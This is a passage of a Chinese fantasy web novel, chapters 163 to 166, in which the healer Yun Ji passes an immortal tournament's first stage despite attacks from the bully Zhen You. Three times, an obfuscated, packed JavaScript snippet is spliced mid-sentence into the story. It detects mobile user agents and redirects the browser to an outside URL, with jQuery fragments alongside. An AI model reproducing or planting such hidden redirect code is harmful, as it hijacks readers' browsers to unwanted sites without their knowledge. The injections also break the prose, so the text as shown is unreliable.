看来左路的三人分别是玉荣仙者、梦谭和风宿,最先上路的玉荣仙者竟然没有通过。 来不及探究他们发生了什么,云魁眉头紧蹙,拇指在食指上无意识地细细搓揉,东入口依然没有参赛者出现。 怎么还没有人出现? 到底发生了什么? 倒计时拾秒。 西入口与南入口的选手站起身,开始为下一赛段做准备。 倒计时叁秒。 云魁依然目不转睛地盯着东门。 ...... 就在千钧一发之际,平台突然响起: “东入口抵达一人。” 云魁心中一惊,上前几步,就见东门浮现一道虚影。一个纤弱的身影捂着垂落的右臂踉踉跄跄走来,未来得及抬眼便一头栽倒在地。 “云姬!” 云魁的惊叫穿透屏幕,与此同时,场外观众席掌声雷动。 163. 第 163 章 “云姬!” 云魁飞身上前,落在云姬身旁,瞳孔一缩,猛地倒吸一口冷气。云姬的衣袖上混着浑浊的血水与污泥,一头长发被错落截断,与刚才在东入口送行时判若两人。她的脸上、手上、腿上,几道血肉模糊的伤口如同狰狞的猛兽冲云魁嘶吼叫嚣,云魁心脏像被人一把捏紧,痛得不能呼吸。 观众席热闹非凡,讨论声、赞叹声经久不绝。 “没想到第一场就如此精彩,今年真是人才济济。” “早知道我就去旁边小楼里舒舒服服地看了,这个票价值了。” “那姑娘看上去柔柔弱弱,没想到啊没想到......” “这就是竞技比赛的意义啊......” 时间倒转两个时辰以前。 东入口,云魁离开之后。 云姬深吸一口气,向东入口走去。门口已经聚集了几名参赛者,正在互相寒暄。 一位五官端正,看上去沉稳的年轻人对大家说道:“我叫战青,是越仙谷本地人。大家可以跟我走,我对这边的地势比较熟悉。” 旁边一位与战青差不多年纪的小姐姐接着说道:“我是姜汝婴,笔试排名第八,很高兴和大家分到一组。” 云姬浅浅地笑了一下:“我叫云姬,笔试第三。” “哇,真厉害!”姜汝婴称赞道。 云姬唇角的笑意加深,头顶突然笼罩下一片阴影,一阵寒意爬上了她的后颈。 “哼。”身后响起一个混沌的声音。云姬肩上一沉,一只大手拍在她身上,用力地向下压了一下。她吃痛地向旁边躲了几步,回头警惕地盯着身后之人。 战青与姜汝婴见状,挺身而出,拦在云姬身前,问道:“你是何人?为什么对她出手?” 云姬这才看清那人居然是昨晚的登徒子。他长得人高马大,眼神不善,比在场的其他人看上去强势不少。他身边跟着两个参赛者,与他站在一边,不怀好意地看着他们,仿佛他们之间已经形成了两个阵营。 第一赛段并非个人战,选手报团不罕见。 姜汝婴见状蹙着眉说道:“真游!快和云姬道歉!” “切!”真游眼皮一翻,对着姜汝婴啐了一口,骂道:“不就是笔试比我前了一名,有什么好神气的。你在教谁做事?” 姜汝婴气势上输了真游一截,再提起一口气时,已经被打乱了节奏。 真游身旁两个参赛者露出讽刺的笑容,添油加醋道:“笔试成绩已经不重要了,现在这里就是真游最大。” 战青站出来,挡在云姬与姜汝婴身前,目色深沉地望着真游:“既然你说笔试不重要,那么请问三位,你们的排名是多少?不会不敢说吧?” 真游面色一僵,眼底染上一丝愠怒:“都说了不重要就是不重要!你们一个第三一个第九有什么好吹的。” 战青沉沉地说:“不只是第三和第九。还有我,我是第二名。” 虽然进入越仙大赛的决赛之后,笔试成绩已经无用,但能考进笔试前三的人往往对这场比赛做了大量的研究与准备。 “老大,他们排名好像真的挺高。”真游身边一个参赛者小声说道。 真游心里犹豫了一瞬,继而被自负冲昏了头脑:“笔试都是纸上谈兵,何况我们的差距根本没那么大!” 他身边的小喽啰立刻点头称是:“老大说的对,我们老大也是进了前十的!” 正在他们僵持时,赛场外响起:“越仙大赛即将开始,请各位参赛者就位。” 真游的手下环视一圈,嘀咕道:“还有一位参赛者呢?”现在这里一共只有六人。 “谁知道。可能弃权了吧。”另一位不以为然地答道。 几人暂且停下争执,聚集到东入口。 “现在宣读第一赛段详细比赛规则。此次比赛第一赛段分为四个部分,分别为东西南北。第一赛段限时一个时辰,在规定时间内通过赛程内的关卡,到达第一赛段终点则算通过。” “东入口第一赛段的主题——” “无为胜有为——” 无为胜有为?这是什么题目? 纵使东入口有两位笔试前三,此时他们暗自思索的神色也不轻松。 “各就位,比赛——正式开始——” 与北入口的情形不同,东入口宣布比赛开始之后,六人呆在原地,一时竟然没有人着急离开。 战青瞥了真游一眼,低头对姜汝婴和云姬说:“比赛只有两个时辰,我们先出发吧。” 真游看他们三人上路,也跟在他们身后出发。 云姬站在最左侧,感到身后有一束不善的目光像暗渠里游走的蛇缠绕在她身上。她一阵恶寒,向身边的姜汝婴靠拢。 一条蜿蜒曲折的小径通向了隐蔽的森林之中。由战青开路,一行人小心翼翼地沿着小径向前走去,起初道路宽敞能容下三五人,越往后走道路越窄,最后像是被拦腰截断一般。 战青在小径消失的地方停住脚步,伸出手在空气中缓慢地摸索,眼神中带着一缕疑惑与思索。第一赛段的地形如同迷宫,道路若是消失,这里应当不能再继续向前。 指尖传来坚硬的触感,战青蹙起眉,眼神严肃起来。 “结界?”姜汝婴也伸出手在眼前胡乱摸索起来。 眼前一堵无形的墙挡住了他们的去路。 “看来我们得打开结界才能过去。”姜汝婴收回手思忖道,又抬眼看向战青:“战大哥,你有什么好办法吗?” 真游三人与他们隔了些距离,此时装作若无其事地四处看风景,实则竖起耳朵听着这边的动静。战青是越仙谷人,说不定他知道些外人不知道的比赛内幕。 战青沉思片刻,低声对他们坦言:“我暂时还没看出来。”他的声音很轻,落在真游耳中就像是故意针对他,不想让他听见一般。 真游身边的参赛者耐不住性子,嘟囔起来:“老大,怎么办?我们不会就这么被淘汰了吧?” 第一赛段比赛最重要的就是时间,现在他们被一道结界拦住了去路,白白在这里空耗。真游眼底露出了焦躁之意,他踢开脚边的石头,转头对战青说:“我说,你们该不是在防着我们吧?” 他走近几步,下巴一抬,对着战青道:“第一赛段没有限制名额,你们若是知道什么,说出来大家一起晋级,后面的比赛还能有个照应。” 他身边的参赛者附和起来:“就是,不就是一个结界吗?有什么不能说的?” 真游以小人之心度君子之腹,战青没有恼怒,而是坦坦荡荡地看着他的眼睛:“我承认我没有办法,你行你上。” 真游哽了一下,阴阳怪气地笑了:“那我就来试试。”走过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13166247|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 战青身边时,还不忘用不怀好意的神情刮了云姬一眼。 云姬忍不住向后瑟缩了一下。 真游慢慢靠近结界,眼中划过一道狠厉,突然劈出一掌,一道弯月状的光向结界扫荡而去,周遭树叶哗哗作响。 然而那道光在靠近结界时,像是被吸收了一般消失在眼前。 真游的一击就像打在了棉花上,结界没有产生丝毫反应。真游脸上挂不住,感觉在场所有人看他的目光都带着嘲讽,偏偏这时身后的追随者还补了一刀:“老大,你刚刚做了什么?发生了什么事?” 真游气得急红了脸,抓起他的领口骂道:“你长了嘴没长脑子吗?”大手一甩,竟然将那位参赛者如同抓小鸡一般提起,扔了出去。 那位参赛者没有防备,身体被高高抛起,下意识想要用力时,身体已经重重砸在了那堵结界上。 在他的躯体接触到结界的刹那,结界出现了一丝漩涡状的波纹,真游眼中划过欣喜之色,已然认为自己做对了。但那喜色只有一瞬便凝固在了他的眼中,继而转化为翻滚的乌云。 赛场上响起:“选手暴力破坏比赛场地,予以淘汰处分。” 那名砸在结界上的参赛者撕心裂肺地叫嚷道:“我没有!是真游——”话音未落,陡然消失在赛场中。 尚在赛场上的几人被这突如其来的转变震惊,真游却若无其事一般,嘴角甚至流露出一丝不屑与嘲讽。他走到一边冲战青挑了挑眉:“我替你们试过了,武力和硬闯都不行,接下来看你们的本事了。” 真游身旁的拥护者二号修文惊魂未定,正僵着身子努力不让真游注意到自己,双腿却控住不住地发抖。 真游瞥见,露出一抹残忍的笑容,故意提高了声调问:“修文,你怎么了?” 修文瞳孔一缩,唯恐他一个不高兴又将自己丢了出去,紧抿着嘴缓缓摇了摇头,求救般地看了战青一眼,又赶紧将目光收回来,低头望着自己的鞋尖。 真游眯了眯眼,冷哼一声,语气中带着威胁:“你那是什么眼神?对我不满意?” 修文立马把头摇得像拨浪鼓:“没有没有。老大英明神武,居然马上就排除了两个可能,为我们争取了时间。我们要是能过去,那都是老大的功劳。” 真游受用地勾起一边唇角,转过头继续盯着战青挑衅般地抬了一下眉。 时间一分一秒流逝,他们站在结界前一筹莫展。 无为胜有为。 第一赛段的目的是什么? 第一赛段并非想将所有的参赛者淘汰,而是希望择优选出其中能够随机应变的人。 战青心如擂鼓,咚咚地敲击着他的耳骨。通过第一赛段理应不难,莫非是他们想的太复杂了? 这不是一道是非题,难有难的解法,容易也会有容易的解法。 战青沉思片刻说:“大家别着急。赛场虽然是随机分配,但第一赛段不可能淘汰所有人,所以在场的参赛者之中一定有人能解开这个结界。”他深吸一口气,目光在所有人身上一一审视。 “如果是这样,那会不会是那个没来的人?”修文小声嘀咕。 真游高声道:“你说什么?” 修文吓得倒吸一口气,慌忙道:“啊不是不是,我是觉得,万一那个没来的人或者刚才出局的人才是解开结界的关键呢......" 164. 第 164 章 话音未落,一记重拳砸在修文的脸上,他退后几步,差点跌坐在地上。一张嘴,碎裂的牙齿簌簌落下,嘴里溢满了鲜血。 真游抱起双臂,面色冷峻地盯着他:“你是在质疑我?” 修文痛得眉毛眼睛皱在一起,口中含混不清地囔囔着:“我没有我不是我怎么敢?” 姜汝婴见状,想要出手制止,但若是现在出手免不了一番纠缠,又见战青无暇顾及这边的局面,只能握紧拳头对真游怒目而视。 那一记重拳像是打在了云姬的身上,在她眼中,真游凶恶的样貌、神情、动作渐渐和昔日北溟海极中鲛人的身影重叠在一起,唤醒了她脑海深处最痛苦的回忆。 “你怎么了?脸色怎么这么难看?”姜汝婴搀扶住云姬摇晃的身体,小声问。 云姬恍然回神,摇了一下头:“没什么。”又看向狼狈不堪的修文,暗自在心中做了一个决定。 修文靠在树下狼狈地清理身上的污迹,真游站在结界前一边思索一边留意着战青的一举一动。 云姬趁他不注意,悄悄跑到修文身边蹲下,为他检查伤势。 “你做什么?”随着云姬的靠近,修文身体向旁边挪了一下,眯着肿胀的眼睛警惕地看着她。 云姬小猫一样的眼睛灵动地眨了一下,“嘘”了一声,小声说:“你别动,你伤得不轻,我有办法帮你治疗。” 修文嘁了声,显然不信她会如此好心:“不用你帮。”嘟囔着,沉着脸侧过身去,却牵动了身上的伤口,疼得龇牙咧嘴。 云姬不顾他的拒绝,伸手将他的脸摆正,目光仔仔细细在他伤口处打量几番:“伤得很重,若是不及时治疗,会留下遗症。” 云姬一只手掐着修文的下巴不准他乱动,另一只手贴近修文的面庞,微一敛眉,手掌覆上一层鹅黄色的气向他飘去。 那层气逐渐覆上修文的脸,一股暖流在他的面部流淌,修文心中的燥意好似也被抹平。半晌,他面部的肿胀逐渐褪去,伤口渐渐愈合,碎裂的牙齿也一点一点地修复成了原本的样子。 痛意和不适消退,修文眼中充满了震惊,神色恍惚地看着云姬,不自然道:“你何必帮我。” 云姬一顿,思绪回到还在北溟海极时,替那些被鲛人打伤的人治疗的日子。 她为什么要帮别人? 她也说不上来,可是既然她有帮助别人的能力,又怎能视若无睹? “快好了,再忍一下。”云姬轻声说。 修文脸上一红,瞥开了目光,感叹道: “你的仙力居然是疗愈....."疗愈的仙力没有攻击性,平时派不上用场,但是对伤者就不一样了,简直如同天神降临、再世父母。 战青与真游注意到这边的动静,一齐看了过来。 真游眼中露出几分不屑与嘲讽,说道:“疗愈?强者恒强,弱者真是弱得千奇百怪。” 姜汝婴走过来,见识到云姬运功疗伤速度极快,惊讶道:“这是天生的吗?好神奇。”天界有治愈的仙术,但仙术毕竟是仙术,依然需要恢复时间,效果也需看施术者的仙力与伤者的体制。 云姬摇摇头:”我只是救过很多人。”她在北溟海极时隔三差五便要避开鲛人的注意救治众人,速度都是练出来的。 修文恢复得太快了。 让人不禁怀疑云姬的真实能力。 传说天界有一类仙人,天生的仙力具有强大的疗愈能力,能让重伤之人短时间内完好如初。这类神仙和平时期无大用,在战乱时期可谓一将难求。 当然,这只是一种传说。 不过......战青凝重地望着云姬,心下思忖,平日里不起眼,关键时刻却有大作为,这道题说不定云姬有办法解开。 他招招手,示意云姬过来,指着结界说:“你来试试。” 云姬迟疑地看了他一眼,站在结界之前犹豫道:“我......我能做到吗?” 真游扯了扯嘴角,讽刺道:“病急乱投医,她要是能打开结界,我就......” 云姬双掌一切,鹅黄色的仙气从掌心泄出,薄如蝉翼的气雾从结界穿过。片刻之后,结界中心出现了一个巨大的漩涡,寒光乍现,漩涡像是将周围的气流都吸了进去。 气流翻滚、收缩,慢慢缩成了一个点,最终轰然消散。 四周恢复了平静,云姬探出手,从原本结界的位置伸了出去,竟然毫无阻碍。她难以置信地抽回手,侧身回望,怔怔地看向战青。 战青欣慰地点点头,解释道:“无为胜有为,或许是我们平日认为无用的东西,实际上却有着大用处。这是一道开放题,答案不唯一。我认为云姬治愈的仙力,就是当下最好的答案。” 姜汝婴跑过来搂住云姬,声音带着欣喜,夸赞道:“没想到你这么厉害。” 云姬浅浅地笑着,心里涌现一股暖流,似乎将她包裹得满满当当,就像她每次救治了他人时,心中如同坠着沉甸甸的果实。 战青用肯定的眼神鼓励地看了云姬一眼,说:“时间不多了,我们赶紧走吧。” 身后,真游的脸色越发不好看,他盯着云姬的背影,眼中翻涌着惊涛骇浪。 修文扶着树站起来,走到真游身边小声说:“老大,我们也走吧。” 真游猛地踢开脚边的石子,恨恨地瞪了他一眼:“走!” 时间所剩无几,真游一路跟在他们身后还算安分,修文得到了云姬的救助后虽然没说什么,但看向他们的目光温和了许多。 “从这片树丛穿过去有一块四通八达的平地,方圆几里都没有类似的场地,那里应该就是第一赛段的终点。”战青边走边分析道。 姜汝婴笑道:“太好了,我刚才还以为我连第一赛段都过不了。还好有你们在。”说完又对云姬投去感激的目光。 真游阴恻恻的目光落在云姬身上,她看上去瘦小又娇弱,好像他只要一用力就能将她捏碎。 什么无为胜有为? 无为永远都是无为,永远不可能战胜他。 修文跟在真游身后踉踉跄跄走着,边走边嘀咕道。“老大,我们这组一共有五个人通过,不知道其他组有几个人。四个入口要是都有五人通过,第二赛段竞争可就激烈了。” 真游身子一顿,脚步放慢,眯了眯眼,眼中闪过一道诡异的光:“你说得对。” 修文突然有一种不好的预感,赶忙说:“老大,我随口说的,第一赛段没有限制晋级的人数,我们没必要浪费时间......” 真游哼了一声,提起一口气,突然向前方走在边缘一侧的云姬发难。 云姬只觉得身后一阵掌风带过,身体像是预感到危险一般僵在原地无法动弹。她头皮发麻,身体微微颤抖,心中的恐惧喷涌而出。下一秒她的身体猛地被抛出,在空中划过一道弧线,而后重重摔在地上,却没有想象中的疼痛。 “汝婴!”只听战青一声疾呼,姜汝婴倒在她的身下。 “汝婴姐!”战青的呼声将云姬从僵硬中唤醒,她翻身而起,焦急地查看姜汝婴的伤势,姜汝婴已陷入了昏迷。 云姬向真游看去,眼中是惧与怒。面对云姬无声的质问,真游冷笑一声,说:“你们没有资格和我一起晋级。” 战青脸色沉了下来,握着拳压着怒气说:“有没有资格不是你说的算。只要我们到了终点,我们就有资格。” 真游愤然道:“那我就让你们到不了终点!” 真游突然朝战青出手,电光火石间,与战青缠斗起来。 “汝婴姐,你醒醒啊。”云姬蹲在姜汝婴身旁替她疗伤,但是姜汝婴一直没醒,恐惧和愧疚让云姬浑身发颤,注意力无法集中。手中连绵不断的仙力忽然变得断断续续,她紧皱眉头,手上发力,一股强劲的仙力打入姜汝婴的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188603|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体中。但好景不长,很快又变得后继无力。 “怎么会这样。”云姬不敢置信地看着自己的双掌。 云姬心如擂鼓,如果不是因为她,真游或许不会突然出手。如果不是因为她,汝婴姐就不会有事。如果不是因为她,他们现在或许已经到达终点。 “为什么要救我......"云姬怔怔地望着姜汝婴紧闭的双眼,怅然若失地喃喃:"我什么也做不了,你不该救我。" 记忆中的画面开始重叠,哥哥冲在她面前被鲛人打伤,她躲在暗处什么也做不了。 那些受伤倒地的人,一个又一个,太多了太多了……她救不过来。 “我做不到......”云姬身体好像忽然崩裂了一般瘫软下来,她跪倒在姜汝婴身旁,渐渐蜷起身体,眼里是无尽黑色。 “怎么办,我做不到......” “我做不到的......” “不是的。”一个声音突然闯入云姬的世界。 修文不知什么时候走到她身边,挪开目光,表情不自然地说:“你能救人,很厉害。” 很厉害吗...... 云姬困惑地望着他。 “如果不是有你,我现在还站不起来。”修文低下头看着自己的脚尖,鼓起一口气抬头对云姬说:“你的仙力能够治愈他人,是我见过最棒的仙力。” 云姬目光灼灼地看着修文,眼中水光浮动:“真的吗?” 修文在她的注视下又低下头,看向旁边,轻轻“嗯”了一声。 他的话似乎撕开了云姬眼前的黑暗,云姬握了握拳,让自己内心归于平静。她深吸一口气伸出双掌,贴近姜汝婴的身体,慢慢释放自己体内的仙力。那股温暖的、鹅黄色仙力像雾气一般散开,比先前见到更加强劲有力,逐渐覆上姜汝婴的身体。 远处传来一声爆喝:“修文,你在做什么?快点把那两个女人处理掉!她们不是你的对手!” 云姬手上一顿,警惕地抬起头看向修文。 修文眼中闪过一丝挣扎,犹犹豫豫地抬起手...... 云姬并未停止对姜汝婴的治疗,她争分夺秒地想让姜汝婴尽快醒来。她凝重地看向修文,眼神柔和中带着一缕坚定:“你不会对我出手的,对吗?” 修文呼吸一滞,唇抿成了一条僵硬的线。她看上去太弱了,就像一朵任人揉捏的娇花,只要轻轻一捏,就会香消玉损。但是不知为何,修文就是无法说服自己动手。 “可恶!”修文咬着牙,身体颤抖着:“我下不了手......" 真游躲过了战青的一击,落在地上时不忘瞥一眼旁边的形势,见修文迟迟没有出手,顿时烦躁起来:“修文,你在做什么?现在不是怜香惜玉的时候,你要是通过了决赛,什么样的女人没有?” “现在他们只有战青和一个没用的小丫头,我们两人联手一定能将他们送出局!” 修文像是突然想到了什么,挺起身向远处走去。 “你做什么?修文!不要妄图违背我!”真游怒吼道。 修文在远处站定,回头深深看了云姬一眼,继而转头对真游高声喊道: “真游——” “你永远也比不上他们——” 突如其来的转变让真游和战青停下争斗。 “什么?”真游脸上黑了下来。 修文对着上空大喊:“我,修文,决定弃权,退出比赛。” 在场的其他人俱是一惊。 “现在没有人陪你玩了。真游。”修文冷冷地看着真游,眼中的坚毅和凛然与先前大不相同。 “参赛者弃权,立即退出赛场。”修文的身影瞬间消失在原地。 场上局势顷刻之间逆转,真游只剩孤身一人。 云姬鼻头一酸,垂眸掩饰眼中凝聚的泪意,突然发现姜汝婴眼睫微颤,缓缓睁开了眼睛。 165. 第 165 章 “汝婴姐!”云姬扑闪的眼睫碾碎了晶莹的泪珠,红着眼眶望着姜汝婴颤声道。 姜汝婴心里一颤,好一个美人落泪,难怪刚才修文动不了手。 “哇——都是我不好——”云姬哭着抽抽。 姜汝婴摆摆手,装作嫌弃的样子说:“真是的,别哭啊。我没那么伟大,我要是知道会受这么重的伤,我就不救你了。” 她抬手时皱了下眉,手臂软弱无力地晃动了两下,叹了口气,淡然道:“看到你救人,我好像被感染了一样,在发觉你有危险的时候没想太多就出手了。我知道你一定有办法救我,所以我不怕。明明没什么能耐,却让人没了后顾之忧。这就是你的本事吧。” 云姬知道姜汝婴是在安慰自己,刚想张口,眼泪又哗哗地落了下来:“汝婴姐,都是我不好,要是我没参加比赛就好了。” 姜汝婴哼了一声:“说什么傻话。你要是没来,我们连结界都过不了,只能在比赛一开始就干瞪眼。” 姜汝婴勉强撑起身体,用尽力气喊道:“我也要弃权,我要出去休息。身体第一,友谊第二,比赛第三。我不陪你们玩儿了!”又冲着远处开战的两人喊道:“战青加油!给我把他打得落花流水!” 开战的两人落在地面,地上尘土飞扬。 真游脸色阴沉,裂开嘴嘲笑道:“呵,弱者总是找各种借口逃避,不过是不敢晋级罢了。”话音未落,他反手接下战青的一招。 两人杀红了眼,几乎是在用蛮力对抗。 云姬还站在原处,修文和姜汝婴的弃权,让她被一种不甘的滋味冲上了头。她擦干了脸上的泪珠,冷冷地看着真游,质问道:“真游,你只活在自己的世界里,不觉得可笑吗?” 真游听了,露出一抹诡异的笑容,用余光睥了她一眼:“你凭什么指责我?”抬手一道霸道的仙力直冲云姬面门而去,半路上被另一道仙力打歪。 战青对云姬说:“快走!我拖住他!” “战青哥!”云姬还有犹豫。 “快走!你在这里帮不上忙!” 云姬退后几步点点头,时间所剩不多,真游的目标是自己,如果她现在走了或许真游不会再缠着战青。 云姬转身沿着小径一路疾驰。 真游大惊:“你不想晋级了吗?” 战青答道:“我当然想。但是是她解开了结界,她是第一赛段东入口最应该晋级的人。” 真游神情露出一丝惊愕,眼角抽动了一下,继而沉声吼道:“只要我在就不可能让她晋级!”真游突然一掌打在了战青的胸口,战青一口血雾喷出,身体向后飞去,撞击在一棵大树上。 真游立刻沿着小径飞身追云姬而去。 哗哗—— 云姬从杂乱的树林中穿过,层层枝叶就像妄图拦住她的手,不断向她伸来。 快一点,再快一点。只要越过这片树丛,就能到达第一赛段终点。 顷刻,真游就跃至云姬身前,抱起双臂不怀好意地看着云姬。 云姬立刻停下脚步,眼中流露出难以掩饰的惊恐:“战青哥呢?你把他怎么了?” “就凭他能拦得住我?”真游不削一顾地挑了下眉。 云姬攥紧了拳头,战战兢兢地问:“你想做什么?” 两人僵持着,真游突然向云姬走近了一步,云姬本能地向后退了一步。 真游勾起唇角,突然向她飞来。 云姬转头就跑,慌乱间树丛勾住了裙摆,“哗”地一声撕裂。 真游速度很快,落在了她的面前,看向她裸露的小腿,露出了耐人寻味的神色。 云姬止不住悲愤与恶心,一拂手补好了自己的裙子,朝另一个方向飞去。 重重枝叶间掠过一道光影,猛地击打在云姬后背,她的瞳孔瞬间放大,身体不由自主地滚落在地。 外界的声响在这一刻突然静止,她眼前天旋地转,什么也听不见,身体好像四分五裂了一般。 一道不怀好意的目光落在云姬匍匐的身上,她睁开眼睛,慢慢向前爬了几步,伸手抓住了面前一颗韧草。草上带刺,血水从她的指缝渗透,染红了草下的土地。 身后传来窸窸窣窣的脚步声。 云姬用尽力气吼道:“滚开!” 一双靴子停在她身侧,头顶传来一声轻哼:“我现在没空对你做什么......” 他一脚踩在云姬的背上,狠狠碾了下去:“无为终究是无为,永远不可能成为有为。昨晚若不是有不长眼的出手救你,你今日就不可能来参加比赛。适才,若不是三番两次有人阻碍,你也不可能到达这里。没有别人的帮助你就一无是处,你永远不可能翻身,记住了吗?” 脊椎咔咔几声,似乎骨头断裂。 云姬胸口沉闷,眼前越来越模糊,她想要释放仙力,但是伤势太重使不上力。 当年也是。 鲛人也是这样恃强凌弱。 她和哥哥每天都在恐惧中度过,战战兢兢、如履薄冰。 还好后来武凌的出现,让他们有了一起分担痛苦与喜悦的伙伴。 如果当年不是小闲和那位白衣仙人,她和哥哥现在还在北溟海极受苦。 她能够救人,但是却救不了自己,真是可笑。 她也想变强。 为什么她做不到? 她想成为像小闲一样的人。 “真是的,白白浪费了我这么长时间。”真游骂道。 他眼神森然地瞥了一眼云姬破碎的身体,想要收回脚,却没有提起来。他微微一怔,又试了两次,脚下如同被一股强大的力量吸住。定眼一看,云姬身上那一层淡淡的鹅黄色像是一根绢绳不知什么时候包裹住他的脚踝,沿着他的裤脚向上蔓延。 他想挪开,脚却像是被钉住一般怎么也动不了。 “这是什么?”悚然的寒意陡然爬上了真游的背脊:“你......”他身体一松,再想提气却提不起来了。 真游惊恐地发现,他身上的仙力在一点一点流失,顺着他的腿,流入了云姬的身体。 这是什么邪术?他从未听过能够吸取别人仙力的仙术! 她是怪物吗? “放开我!放开我!你这个怪物!” “怪物!怪物!放开我!”真游慌乱中随手拾了根树枝,用力抽打云姬的头部。 云姬真的没有力气了,她越是虚弱,越是需要从体外吸收别人的力量。 那股吸引力越来越凶猛,真游的身体很快软了下去,连抬手也变得困难。虚弱和眩晕袭击了他的身体,他感到自己的身体在逐渐变得干瘪无力。 “住手!快住手!住手!”真游泪流满面尖叫道。 “放开我!放开我!” “救命!” 森林中撕心裂肺的声音回荡着,渐渐弱了下去。 良久,云姬爬起来靠在树边喘息,望着倒地不起的真游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212270|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不明白自己究竟做了什么。 一缕日辉穿过树叶间隙落在她身侧,她透过漫天斑驳的树影望向淡蓝色的天空,眼中朦胧昏暗。时间所剩无几,她不想再向前走了。 林中传来细微的动静,云姬瞬间浑身紧绷警惕地看过去,却是一身狼狈的战青。 战青精疲力竭,看到云姬后松了一口气,如同一根紧绷的弦突然断了,就地倒在树边大口地喘息。虽然不知道云姬是怎么做到的,但她总是有办法能做到。 林中静谧,缭乱的树影落在战青的肩头,他似乎累极了,眼皮低垂,连抬眼的力气也没有。 “没想到我们把第一赛段比出了决赛的气势......”半晌,战青轻笑了一下,眼中弥漫的遗憾未加掩饰,喃喃道:“时间来不及了。” 他支起身体望着云姬,脸上浮现淡淡的笑意,冲云姬扬了扬手:“我动不了了。去吧,东入口不能没有晋级者。” 云姬不知自己是如何走出那片树林的,只觉得有一道温暖的光落在她身上,她感受到熟悉安全的气息,然后再也支撑不住昏死过去。 “东入口晋级一人——” 耳边是哥哥焦急的呼唤,她多想回应他,但是累得睁不开眼睛。 场外观战的小楼之中,慕小闲站在屏幕旁目光如炬地盯着上面熟悉的身影,一颗悬了好久的心终于落下来。她长舒一口气,换上一脸吾家有儿初长成的姨母笑,对镇定自若的晏离说:“终于赶上了,云姬真是超乎想象。” 晏离沉思道:“她的仙力具有疗愈之力,救人时输出仙力,遇到危险时便吸收他人的仙力。” “这可不多见。这种体质若是好好修炼,也危急时刻能有大用处,绝不弱于一般神仙。”慕小闲赞叹道:“这些年她成长了很多。” 北溟海极一别,她进入青丘拜师学艺,武凌跟着符鸣修行,云魁云姬也经历了许多锻炼。他们都向着当年在海上迎着落日余晖发过的誓言,一步一步走向光明。 窗外,人群依然在喧闹。 “淘汰的选手出来了!” 第一赛段比赛结束,一批观众跑到出口处围观。比赛表现良好的参赛者将会获得鲜花与掌声,而表现差劲的参赛者便会得到一片嘘声。 “快看!真游出来了!”不知是谁高喊了一声。 “啧,看他那副样子,赶紧卷铺盖走人!” 一个男人一瘸一拐地从出口处走出,一身锦衣挂了彩,像破布条一样挂在他身上。 “滚!”虽然吃了败仗,但脾气依然嚣张跋扈。他直到现在也不明白云姬为何突然拥有了那么强大的力量,如果不是云姬,东入口唯一的晋级者一定是他。 不知哪里砸来了一只烂鸡蛋,从他额头弹开,砸碎在地上。 “该滚的人是你!” “连个小丫头都不放过,君子不耻!” “好好比赛打什么打,还打不过,真丢人!” 众人义愤填膺,纷纷掏出身上带的家伙,有武器的拿武器,没有武器捡树枝石子。 真游一个踉跄扑倒在地,不知是谁趁乱给了他几脚,他的腿是彻底断了。 真游见局势不妙,翻着白眼狠狠扫视众人,那充满恶意的眼神像要一口将所有人生吞了。忽然他周身云烟一卷,消失在原地。 “他跑了!”领头的人喊道。 身后的人放下手中的武器,嘴里继续讨伐道:“他若是不跑,我们一定要他好看!” 166. 第 166 章 第一赛段终点,云魁正神情严肃地守在云姬身旁,用自己的仙力为她疗伤,但他的仙力只是普通仙力,并不具备疗愈能力,所以见效极慢。 几名参赛者围了过来,叽叽喳喳地说:“我们向越仙大赛的组织人员了解了情况,没想到东入口的竞争如此激烈。” “她可真厉害,真游那家伙可不是好对付的,我见了他都要绕道走。” “小妹妹能够挺过来不容易。” 越棠棠替云姬擦干净脸上的污渍,蹙着眉低声道:“看样子她一时三刻很难醒过来,第二赛段比赛很快就要开始,她没办法参加了。” 话是说给云魁听的,一来就算云姬现在醒过来,身体有伤也不容易撑过第二赛段。二来,云魁要保护云姬,接下来行动也不方便。不如现在就将云姬送出赛场好好休养。 云魁忧虑地望着紧闭双眼的云姬,眼中透着深切的紧张,一时没有搭话。 越棠棠轻声道:“她是东入口唯一的晋级者,已经证明了自己的能力,那颗转念宝珠就由你替她争取。” 云姬这副模样确实不如弃权,外面有慕小闲照看,定能获得很好的照料。但云魁不知怎的,一想到云姬要暂时离开他,心中竟然也有一丝说不清的恐慌。看来不单单是云姬深深地依赖着他,他也早就习惯了身边有妹妹的身影。 正是因为云姬的治愈之力极为好用,他才能没有后顾之忧地一往无前。若是云姬不在,接下来的赛程他一个人能不能走完,他心中竟有些没底。 